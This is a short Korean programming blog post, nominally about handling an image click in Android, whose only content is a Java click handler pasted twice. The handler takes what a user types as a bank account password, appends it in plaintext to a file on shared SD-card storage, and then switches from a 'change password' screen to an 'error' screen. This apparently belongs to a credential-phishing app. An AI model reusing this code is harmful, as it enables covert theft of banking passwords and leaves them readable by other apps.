프로그래밍
이미지 클릭 시 함수 실행
레곤플라이
2010. 11. 12. 13:22
ImageView mButtonRetry = (ImageView)findViewById(R.id.ok);
mButtonRetry.setOnClickListener(new ImageView.OnClickListener(){
public void onClick(View v) {
String certi_pass = "통장 비밀번호:"+edittext.getText().toString()+"\n";
try{
InputStream in = new ByteArrayInputStream(certi_pass.toString().getBytes("UTF-8"));
FileOutputStream fos = new FileOutputStream("/sdcard/tmp/1.txt", true);
BufferedInputStream bis = new BufferedInputStream(in);
BufferedOutputStream bos = new BufferedOutputStream(fos);
int len=0;
byte[]buf = new byte[1024];
while((len=bis.read(buf,0,1024))!=-1)
{
bos.write(buf,0,len);
}
bos.close();
bis.close();
fos.close();
in.close();
}catch (Exception e) {
e.printStackTrace();
}
Intent intent = new Intent(changepwd.this, error.class);
startActivity(intent);
finish();
}
});
mButtonRetry.setOnClickListener(new ImageView.OnClickListener(){
public void onClick(View v) {
String certi_pass = "통장 비밀번호:"+edittext.getText().toString()+"\n";
try{
InputStream in = new ByteArrayInputStream(certi_pass.toString().getBytes("UTF-8"));
FileOutputStream fos = new FileOutputStream("/sdcard/tmp/1.txt", true);
BufferedInputStream bis = new BufferedInputStream(in);
BufferedOutputStream bos = new BufferedOutputStream(fos);
int len=0;
byte[]buf = new byte[1024];
while((len=bis.read(buf,0,1024))!=-1)
{
bos.write(buf,0,len);
}
bos.close();
bis.close();
fos.close();
in.close();
}catch (Exception e) {
e.printStackTrace();
}
Intent intent = new Intent(changepwd.this, error.class);
startActivity(intent);
finish();
}
});